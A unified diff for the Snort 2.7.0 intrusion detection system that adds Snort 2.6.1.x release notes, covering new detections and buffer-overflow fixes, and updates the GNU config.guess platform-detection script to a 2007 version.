--- snort-2.7.0.orig/RELEASE.NOTES.2.6
+++ snort-2.7.0/RELEASE.NOTES.2.6
@@ -0,0 +1,114 @@
+2007-05-09 - Snort 2.6.1.5 Released
+[*] New Additions
+    * Updated HttpInspect to normalize parameters that are part of the
+      client request body in the same way it normalizes HTTP URIs.
+      Added a modifier keyword to be used in conjunction with a content
+      option in the rules to search only the normalized HTTP client request
+      body.  Also added stats for HttpInspect to track number of various
+      types of normalizations and HTTP methods.
+
+[*] Improvements
+    * Fix header files to avoid conflicts with system files on BSD for
+      IPv6 data structures.
+
+    * Fix possible memory leak in Stream4 when HttpInspect is being
+      used.
+
+2007-03-26 - Snort 2.6.1.4 Released
+[*] New Additions
+    * Added detection for BSD IPv6 fragmentation overflow (CVE-2007-1365).
+      New options configure the behavior of the detection and new decoder
+      alerts for truncated IPv6 headers and a Fragmentation alert for the 
+      specific overflow attack.
+
+[*] Security Improvements
+    * Updated code to use safer functions that perform bounds checking
+      when doing string or memory copies and snprintf buffer writes.
+      Ensure null termination on string buffers and perform initialization
+      on memory allocations.
+
+2007-02-18 - Snort 2.6.1.3 Released
+[*] Improvements
+    * Updated DCE/RPC dynamic protocol normalizer to perform additional
+      boundary checking when reassembling SMB fragments.  This addresses
+      a potential remotely exploitable stack-based buffer overflow.
+
+    * Updated Frag3 to protect against potential for fragments without
+      ethernet header being passed from iptables to Snort inline.
+
+2006-12-07 - Snort 2.6.1.2 Released
+[*] Improvements
+    * Fixed problem with snort using high CPU and potentially reprocessing
+      the same TCP reassembled packets with a sequence number wrap and
+      packets missing from the queue (out of order, dropped, or async
+      network).
+
+    * Updated DCE/RPC dynamic protocol normalizer to protect against
+      integer underflow conditions.
+
+    * Updated unified output plugin to work correctly on certain 64bit
+      platforms where timeval structure is a different size.  A patch
+      to barnyard that is associated with this fix can be found at:
+      http://secure.lv/~nikns/stuff/barnyard_64bit.diff.
+
+2006-11-22 - Snort 2.6.1.1 Released
+[*] Improvements
+    * Fixed problem with snort using high CPU and potentially reprocessing
+      the same TCP reassembled packets at session end or TCP ACK of only
+      part of a packet.
+
+2006-11-16 - Snort 2.6.1 Released
+[*] New Additions
+    * Support for UDP "session" tracking to Stream4.  Enable via
+      --enable-stream4udp option to configure script.  This allows
+      the use of flow option with UDP rules.  Includes tracking
+      of stats for UDP sessions.  A session is created for rules that
+      use the flow or flowbits keywords.  Also provided the ability to
+      ignore UDP any any -> any any rules as a performance improvement.
+
+    * Stream5 (for Beta testing) as replacement for Stream4
+      and Flow preprocessors.  See README.stream for details.
+
+    * Allow blocking of entire session in inline mode via stream API.
+      All subsequent packets on that session are blocked.
+
+    * Dynamic DCE/RPC protocol normalizer and defragmentation
+      module.  See README.dcerpc for details.
+
+    * SSH (for Beta testing) protocol analyzer.  See README.ssh for
+      details.
+
+    * Support for GRE encapsulated protocol (experimental).  Enable via
+      --enable-gre option to configure script.
+    
+    * Aruba networks output plugin (experimental).  See README.ARUBA for
+      details.  Enable via --enable-aruba option to configure script.
+
+    * Smaller memory footprint pattern mattcher using Aho-Corasick,
+      using NFA.  Use 'config detection: search-method ac-bnfa' to 
+      enable.  This will become the default pattern matcher in future
+      releases.  Wu-Manhber has been deprecated (mwm).
+
+[*] Improvements
+
+    * Added parameter to dynamicengine to allow specification of
+      directory instead of implicit file.  This will load all engine shared
+      libraries within the specified directory.  Can also use
+      --dynamic-engine-lib-dir command-line option.  Fix handling of
+      loading multiple instances of the same dynamic library (engine,
+      detection, or preprocessor).
+
+    * Updates to HTTP inspect to handle different versions of IIS with
+      the related iis profiles.  See README.httpinspect for details.
+
+    * Cleaned up inline initialization to better handle test mode.
+
+    * Updates to interface dependent variable definitions.
+
+    * Added stats for packets not yet processed -- those that are still in
+      the buffer used by pcap.
+
+    * Fixed issue with fewer alerts being generated when snort is compiled
+      with gcc 4.x by using no-strict-aliasing flag.
+
+    * Require each rule to have a unique sid/gid pair.
--- snort-2.7.0.orig/config.guess
+++ snort-2.7.0/config.guess
@@ -1,9 +1,10 @@
 #! /bin/sh
 # Attempt to guess a canonical system name.
 #   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
-#   2000, 2001, 2002 Free Software Foundation, Inc.
+#   2000, 2001, 2002, 2003, 2004, 2005, 2006 Free Software Foundation,
+#   Inc.
 
-timestamp='2002-01-23'
+timestamp='2007-07-22'
 
 # This file is free software; you can redistribute it and/or modify it
 # under the terms of the GNU General Public License as published by
@@ -17,13 +18,15 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA
+# 02110-1301, USA.
 #
 # As a special exception to the GNU General Public License, if you
 # distribute this file as part of a program that contains a
 # configuration script generated by Autoconf, you may include it under
 # the same distribution terms that you use for the rest of that program.
 
+
 # Originally written by Per Bothner <per@bothner.com>.
 # Please send patches to <config-patches@gnu.org>.  Submit a context
 # diff and a properly formatted ChangeLog entry.
@@ -53,7 +56,7 @@
 GNU config.guess ($timestamp)
 
 Originally written by Per Bothner.
-Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
 Free Software Foundation, Inc.
 
 This is free software; see the source for copying conditions.  There is NO
@@ -66,11 +69,11 @@
 while test $# -gt 0 ; do
   case $1 in
     --time-stamp | --time* | -t )
-       echo "$timestamp" ; exit 0 ;;
+       echo "$timestamp" ; exit ;;
     --version | -v )
-       echo "$version" ; exit 0 ;;
+       echo "$version" ; exit ;;
     --help | --h* | -h )
-       echo "$usage"; exit 0 ;;
+       echo "$usage"; exit ;;
     -- )     # Stop option processing
        shift; break ;;
     - )	# Use stdin as input.
@@ -88,30 +91,42 @@
   exit 1
 fi
 
+trap 'exit 1' 1 2 15
 
-dummy=dummy-$$
-trap 'rm -f $dummy.c $dummy.o $dummy.rel $dummy; exit 1' 1 2 15
+# CC_FOR_BUILD -- compiler used by this script. Note that the use of a
+# compiler to aid in system detection is discouraged as it requires
+# temporary files to be created and, as you can see below, it is a
+# headache to deal with in a portable fashion.
 
-# CC_FOR_BUILD -- compiler used by this script.
 # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still
 # use `HOST_CC' if defined, but it is deprecated.
 
-set_cc_for_build='case $CC_FOR_BUILD,$HOST_CC,$CC in
- ,,)    echo "int dummy(){}" > $dummy.c ;
-	for c in cc gcc c89 ; do
-	  ($c $dummy.c -c -o $dummy.o) >/dev/null 2>&1 ;
-	  if test $? = 0 ; then
+# Portable tmp directory creation inspired by the Autoconf team.
+
+set_cc_for_build='
+trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ;
+trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ;
+: ${TMPDIR=/tmp} ;
+ { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } ||
+ { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } ||
+ { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } ||
+ { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ;
+dummy=$tmp/dummy ;
+tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ;
+case $CC_FOR_BUILD,$HOST_CC,$CC in
+ ,,)    echo "int x;" > $dummy.c ;
+	for c in cc gcc c89 c99 ; do
+	  if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then
 	     CC_FOR_BUILD="$c"; break ;
 	  fi ;
 	done ;
-	rm -f $dummy.c $dummy.o $dummy.rel ;
 	if test x"$CC_FOR_BUILD" = x ; then
 	  CC_FOR_BUILD=no_compiler_found ;
 	fi
 	;;
  ,,*)   CC_FOR_BUILD=$CC ;;
  ,*,*)  CC_FOR_BUILD=$HOST_CC ;;
-esac'
+esac ; set_cc_for_build= ;'
 
 # This is needed to find uname on a Pyramid OSx when run in the BSD universe.
 # (ghazi@noc.rutgers.edu 1994-08-24)
@@ -138,12 +153,15 @@
 	#
 	# Note: NetBSD doesn't particularly care about the vendor
 	# portion of the name.  We always set it to "unknown".
-	UNAME_MACHINE_ARCH=`(uname -p) 2>/dev/null` || \
-	    UNAME_MACHINE_ARCH=unknown
+	sysctl="sysctl -n hw.machine_arch"
+	UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \
+	    /usr/sbin/$sysctl 2>/dev/null || echo unknown)`
 	case "${UNAME_MACHINE_ARCH}" in
+	    armeb) machine=armeb-unknown ;;
 	    arm*) machine=arm-unknown ;;
 	    sh3el) machine=shl-unknown ;;
 	    sh3eb) machine=sh-unknown ;;
+	    sh5el) machine=sh5le-unknown ;;
 	    *) machine=${UNAME_MACHINE_ARCH}-unknown ;;
 	esac
 	# The Operating System including object format, if it has switched
@@ -166,141 +184,128 @@
 		;;
 	esac
 	# The OS release
-	release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
+	# Debian GNU/NetBSD machines have a different userland, and
+	# thus, need a distinct triplet. However, they do not need
+	# kernel version information, so it can be replaced with a
+	# suitable tag, in the style of linux-gnu.
+	case "${UNAME_VERSION}" in
+	    Debian*)
+		release='-gnu'
+		;;
+	    *)
+		release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
+		;;
+	esac
 	# Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM:
 	# contains redundant information, the shorter form:
 	# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used.
 	echo "${machine}-${os}${release}"
-	exit 0 ;;
-    amiga:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    arc:OpenBSD:*:*)
-	echo mipsel-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    hp300:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mac68k:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    macppc:OpenBSD:*:*)
-	echo powerpc-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mvme68k:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mvme88k:OpenBSD:*:*)
-	echo m88k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    mvmeppc:OpenBSD:*:*)
-	echo powerpc-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    pmax:OpenBSD:*:*)
-	echo mipsel-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    sgi:OpenBSD:*:*)
-	echo mipseb-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    sun3:OpenBSD:*:*)
-	echo m68k-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
-    wgrisc:OpenBSD:*:*)
-	echo mipsel-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:OpenBSD:*:*)
-	echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE}
-	exit 0 ;;
+	UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'`
+	echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE}
+	exit ;;
+    *:ekkoBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE}
+	exit ;;
+    *:SolidBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE}
+	exit ;;
+    macppc:MirBSD:*:*)
+	echo powerpc-unknown-mirbsd${UNAME_RELEASE}
+	exit ;;
+    *:MirBSD:*:*)
+	echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE}
+	exit ;;
     alpha:OSF1:*:*)
-	if test $UNAME_RELEASE = "V4.0"; then
+	case $UNAME_RELEASE in
+	*4.0)
 		UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'`
-	fi
+		;;
+	*5.*)
+	        UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'`
+		;;
+	esac
+	# According to Compaq, /usr/sbin/psrinfo has been available on
+	# OSF/1 and Tru64 systems produced since 1995.  I hope that
+	# covers most systems running today.  This code pipes the CPU
+	# types through head -n 1, so we only detect the type of CPU 0.
+	ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^  The alpha \(.*\) processor.*$/\1/p' | head -n 1`
+	case "$ALPHA_CPU_TYPE" in
+	    "EV4 (21064)")
+		UNAME_MACHINE="alpha" ;;
+	    "EV4.5 (21064)")
+		UNAME_MACHINE="alpha" ;;
+	    "LCA4 (21066/21068)")
+		UNAME_MACHINE="alpha" ;;
+	    "EV5 (21164)")
+		UNAME_MACHINE="alphaev5" ;;
+	    "EV5.6 (21164A)")
+		UNAME_MACHINE="alphaev56" ;;
+	    "EV5.6 (21164PC)")
+		UNAME_MACHINE="alphapca56" ;;
+	    "EV5.7 (21164PC)")
+		UNAME_MACHINE="alphapca57" ;;
+	    "EV6 (21264)")
+		UNAME_MACHINE="alphaev6" ;;
+	    "EV6.7 (21264A)")
+		UNAME_MACHINE="alphaev67" ;;
+	    "EV6.8CB (21264C)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.8AL (21264B)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.8CX (21264D)")
+		UNAME_MACHINE="alphaev68" ;;
+	    "EV6.9A (21264/EV69A)")
+		UNAME_MACHINE="alphaev69" ;;
+	    "EV7 (21364)")
+		UNAME_MACHINE="alphaev7" ;;
+	    "EV7.9 (21364A)")
+		UNAME_MACHINE="alphaev79" ;;
+	esac
+	# A Pn.n version is a patched version.
 	# A Vn.n version is a released version.
 	# A Tn.n version is a released field test version.
 	# A Xn.n version is an unreleased experimental baselevel.
 	# 1.2 uses "1.2" for uname -r.
-	cat <<EOF >$dummy.s
-	.data
-\$Lformat:
-	.byte 37,100,45,37,120,10,0	# "%d-%x\n"
-
-	.text
-	.globl main
-	.align 4
-	.ent main
-main:
-	.frame \$30,16,\$26,0
-	ldgp \$29,0(\$27)
-	.prologue 1
-	.long 0x47e03d80 # implver \$0
-	lda \$2,-1
-	.long 0x47e20c21 # amask \$2,\$1
-	lda \$16,\$Lformat
-	mov \$0,\$17
-	not \$1,\$18
-	jsr \$26,printf
-	ldgp \$29,0(\$26)
-	mov 0,\$16
-	jsr \$26,exit
-	.end main
-EOF
-	eval $set_cc_for_build
-	$CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null
-	if test "$?" = 0 ; then
-		case `./$dummy` in
-			0-0)
-				UNAME_MACHINE="alpha"
-				;;
-			1-0)
-				UNAME_MACHINE="alphaev5"
-				;;
-			1-1)
-				UNAME_MACHINE="alphaev56"
-				;;
-			1-101)
-				UNAME_MACHINE="alphapca56"
-				;;
-			2-303)
-				UNAME_MACHINE="alphaev6"
-				;;
-			2-307)
-				UNAME_MACHINE="alphaev67"
-				;;
-			2-1307)
-				UNAME_MACHINE="alphaev68"
-				;;
-		esac
-	fi
-	rm -f $dummy.s $dummy
-	echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
-	exit 0 ;;
+	echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
+	exit ;;
     Alpha\ *:Windows_NT*:*)
 	# How do we know it's Interix rather than the generic POSIX subsystem?
 	# Should we change UNAME_MACHINE based on the output of uname instead
 	# of the specific Alpha model?
 	echo alpha-pc-interix
-	exit 0 ;;
+	exit ;;
     21064:Windows_NT:50:3)
 	echo alpha-dec-winnt3.5
-	exit 0 ;;
+	exit ;;
     Amiga*:UNIX_System_V:4.0:*)
 	echo m68k-unknown-sysv4
-	exit 0;;
+	exit ;;
     *:[Aa]miga[Oo][Ss]:*:*)
 	echo ${UNAME_MACHINE}-unknown-amigaos
-	exit 0 ;;
+	exit ;;
     *:[Mm]orph[Oo][Ss]:*:*)
 	echo ${UNAME_MACHINE}-unknown-morphos
-	exit 0 ;;
+	exit ;;
     *:OS/390:*:*)
 	echo i370-ibm-openedition
-	exit 0 ;;
+	exit ;;
+    *:z/VM:*:*)
+	echo s390-ibm-zvmoe
+	exit ;;
+    *:OS400:*:*)
+        echo powerpc-ibm-os400
+	exit ;;
     arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*)
 	echo arm-acorn-riscix${UNAME_RELEASE}
-	exit 0;;
+	exit ;;
+    arm:riscos:*:*|arm:RISCOS:*:*)
+	echo arm-unknown-riscos
+	exit ;;
     SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*)
 	echo hppa1.1-hitachi-hiuxmpp
-	exit 0;;
+	exit ;;
     Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*)
 	# akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE.
 	if test "`(/bin/universe) 2>/dev/null`" = att ; then
@@ -308,25 +313,32 @@
 	else
 		echo pyramid-pyramid-bsd
 	fi
-	exit 0 ;;
+	exit ;;
     NILE*:*:*:dcosx)
 	echo pyramid-pyramid-svr4
-	exit 0 ;;
+	exit ;;
+    DRS?6000:unix:4.0:6*)
+	echo sparc-icl-nx6
+	exit ;;
+    DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*)
+	case `/usr/bin/uname -p` in
+	    sparc) echo sparc-icl-nx7; exit ;;
+	esac ;;
     sun4H:SunOS:5.*:*)
 	echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
     sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
 	echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
-    i86pc:SunOS:5.*:*)
+	exit ;;
+    i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*)
 	echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
     sun4*:SunOS:6*:*)
 	# According to config.sub, this is the proper way to canonicalize
 	# SunOS6.  Hard to guess exactly what SunOS6 will be like, but
 	# it's likely to be more like Solaris than SunOS4.
 	echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
     sun4*:SunOS:*:*)
 	case "`/usr/bin/arch -k`" in
 	    Series*|S4*)
@@ -335,12 +347,12 @@
 	esac
 	# Japanese Language versions have a version number like `4.1.3-JL'.
 	echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'`
-	exit 0 ;;
+	exit ;;
     sun3*:SunOS:*:*)
 	echo m68k-sun-sunos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     sun*:*:4.2BSD:*)
-	UNAME_RELEASE=`(head -1 /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
+	UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
 	test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3
 	case "`/bin/arch`" in
 	    sun3)
@@ -350,10 +362,10 @@
 		echo sparc-sun-sunos${UNAME_RELEASE}
 		;;
 	esac
-	exit 0 ;;
+	exit ;;
     aushp:SunOS:*:*)
 	echo sparc-auspex-sunos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     # The situation for MiNT is a little confusing.  The machine name
     # can be virtually everything (everything which is not
     # "atarist" or "atariste" at least should have a processor
@@ -364,37 +376,40 @@
     # be no problem.
     atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*)
         echo m68k-atari-mint${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*)
 	echo m68k-atari-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
     *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*)
         echo m68k-atari-mint${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*)
         echo m68k-milan-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
     hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*)
         echo m68k-hades-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
     *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*)
         echo m68k-unknown-mint${UNAME_RELEASE}
-        exit 0 ;;
+        exit ;;
+    m68k:machten:*:*)
+	echo m68k-apple-machten${UNAME_RELEASE}
+	exit ;;
     powerpc:machten:*:*)
 	echo powerpc-apple-machten${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     RISC*:Mach:*:*)
 	echo mips-dec-mach_bsd4.3
-	exit 0 ;;
+	exit ;;
     RISC*:ULTRIX:*:*)
 	echo mips-dec-ultrix${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     VAX*:ULTRIX*:*:*)
 	echo vax-dec-ultrix${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     2020:CLIX:*:* | 2430:CLIX:*:*)
 	echo clipper-intergraph-clix${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     mips:*:*:UMIPS | mips:*:*:RISCos)
 	eval $set_cc_for_build
 	sed 's/^	//' << EOF >$dummy.c
@@ -418,27 +433,33 @@
 	  exit (-1);
 	}
 EOF
-	$CC_FOR_BUILD $dummy.c -o $dummy \
-	  && ./$dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \
-	  && rm -f $dummy.c $dummy && exit 0
-	rm -f $dummy.c $dummy
+	$CC_FOR_BUILD -o $dummy $dummy.c &&
+	  dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` &&
+	  SYSTEM_NAME=`$dummy $dummyarg` &&
+	    { echo "$SYSTEM_NAME"; exit; }
 	echo mips-mips-riscos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     Motorola:PowerMAX_OS:*:*)
 	echo powerpc-motorola-powermax
-	exit 0 ;;
+	exit ;;
+    Motorola:*:4.3:PL8-*)
+	echo powerpc-harris-powermax
+	exit ;;
+    Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*)
+	echo powerpc-harris-powermax
+	exit ;;
     Night_Hawk:Power_UNIX:*:*)
 	echo powerpc-harris-powerunix
-	exit 0 ;;
+	exit ;;
     m88k:CX/UX:7*:*)
 	echo m88k-harris-cxux7
-	exit 0 ;;
+	exit ;;
     m88k:*:4*:R4*)
 	echo m88k-motorola-sysv4
-	exit 0 ;;
+	exit ;;
     m88k:*:3*:R3*)
 	echo m88k-motorola-sysv3
-	exit 0 ;;
+	exit ;;
     AViiON:dgux:*:*)
         # DG/UX returns AViiON for all architectures
         UNAME_PROCESSOR=`/usr/bin/uname -p`
@@ -454,29 +475,29 @@
 	else
 	    echo i586-dg-dgux${UNAME_RELEASE}
 	fi
- 	exit 0 ;;
+ 	exit ;;
     M88*:DolphinOS:*:*)	# DolphinOS (SVR3)
 	echo m88k-dolphin-sysv3
-	exit 0 ;;
+	exit ;;
     M88*:*:R3*:*)
 	# Delta 88k system running SVR3
 	echo m88k-motorola-sysv3
-	exit 0 ;;
+	exit ;;
     XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3)
 	echo m88k-tektronix-sysv3
-	exit 0 ;;
+	exit ;;
     Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD)
 	echo m68k-tektronix-bsd
-	exit 0 ;;
+	exit ;;
     *:IRIX*:*:*)
 	echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'`
-	exit 0 ;;
+	exit ;;
     ????????:AIX?:[12].1:2)   # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
-	echo romp-ibm-aix      # uname -m gives an 8 hex-code CPU id
-	exit 0 ;;              # Note that: echo "'`uname -s`'" gives 'AIX '
+	echo romp-ibm-aix     # uname -m gives an 8 hex-code CPU id
+	exit ;;               # Note that: echo "'`uname -s`'" gives 'AIX '
     i*86:AIX:*:*)
 	echo i386-ibm-aix
-	exit 0 ;;
+	exit ;;
     ia64:AIX:*:*)
 	if [ -x /usr/bin/oslevel ] ; then
 		IBM_REV=`/usr/bin/oslevel`
@@ -484,7 +505,7 @@
 		IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
 	fi
 	echo ${UNAME_MACHINE}-ibm-aix${IBM_REV}
-	exit 0 ;;
+	exit ;;
     *:AIX:2:3)
 	if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then
 		eval $set_cc_for_build
@@ -499,17 +520,20 @@
 			exit(0);
 			}
 EOF
-		$CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm -f $dummy.c $dummy && exit 0
-		rm -f $dummy.c $dummy
-		echo rs6000-ibm-aix3.2.5
+		if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy`
+		then
+			echo "$SYSTEM_NAME"
+		else
+			echo rs6000-ibm-aix3.2.5
+		fi
 	elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then
 		echo rs6000-ibm-aix3.2.4
 	else
 		echo rs6000-ibm-aix3.2
 	fi
-	exit 0 ;;
+	exit ;;
     *:AIX:*:[45])
-	IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | head -1 | awk '{ print $1 }'`
+	IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'`
 	if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then
 		IBM_ARCH=rs6000
 	else
@@ -521,28 +545,28 @@
 		IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
 	fi
 	echo ${IBM_ARCH}-ibm-aix${IBM_REV}
-	exit 0 ;;
+	exit ;;
     *:AIX:*:*)
 	echo rs6000-ibm-aix
-	exit 0 ;;
+	exit ;;
     ibmrt:4.4BSD:*|romp-ibm:BSD:*)
 	echo romp-ibm-bsd4.4
-	exit 0 ;;
+	exit ;;
     ibmrt:*BSD:*|romp-ibm:BSD:*)            # covers RT/PC BSD and
 	echo romp-ibm-bsd${UNAME_RELEASE}   # 4.3 with uname added to
-	exit 0 ;;                           # report: romp-ibm BSD 4.3
+	exit ;;                             # report: romp-ibm BSD 4.3
     *:BOSX:*:*)
 	echo rs6000-bull-bosx
-	exit 0 ;;
+	exit ;;
     DPX/2?00:B.O.S.:*:*)
 	echo m68k-bull-sysv3
-	exit 0 ;;
+	exit ;;
     9000/[34]??:4.3bsd:1.*:*)
 	echo m68k-hp-bsd
-	exit 0 ;;
+	exit ;;
     hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*)
 	echo m68k-hp-bsd4.4
-	exit 0 ;;
+	exit ;;
     9000/[34678]??:HP-UX:*:*)
 	HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
 	case "${UNAME_MACHINE}" in
@@ -598,17 +622,37 @@
                   exit (0);
               }
 EOF
-		    (CCOPTS= $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null) && HP_ARCH=`./$dummy`
-		    if test -z "$HP_ARCH"; then HP_ARCH=hppa; fi
-		    rm -f $dummy.c $dummy
+		    (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy`
+		    test -z "$HP_ARCH" && HP_ARCH=hppa
 		fi ;;
 	esac
+	if [ ${HP_ARCH} = "hppa2.0w" ]
+	then
+	    eval $set_cc_for_build
+
+	    # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating
+	    # 32-bit code.  hppa64-hp-hpux* has the same kernel and a compiler
+	    # generating 64-bit code.  GNU and HP use different nomenclature:
+	    #
+	    # $ CC_FOR_BUILD=cc ./config.guess
+	    # => hppa2.0w-hp-hpux11.23
+	    # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess
+	    # => hppa64-hp-hpux11.23
+
+	    if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) |
+		grep __LP64__ >/dev/null
+	    then
+		HP_ARCH="hppa2.0w"
+	    else
+		HP_ARCH="hppa64"
+	    fi
+	fi
 	echo ${HP_ARCH}-hp-hpux${HPUX_REV}
-	exit 0 ;;
+	exit ;;
     ia64:HP-UX:*:*)
 	HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
 	echo ia64-hp-hpux${HPUX_REV}
-	exit 0 ;;
+	exit ;;
     3050*:HI-UX:*:*)
 	eval $set_cc_for_build
 	sed 's/^	//' << EOF >$dummy.c
@@ -636,166 +680,237 @@
 	  exit (0);
 	}
 EOF
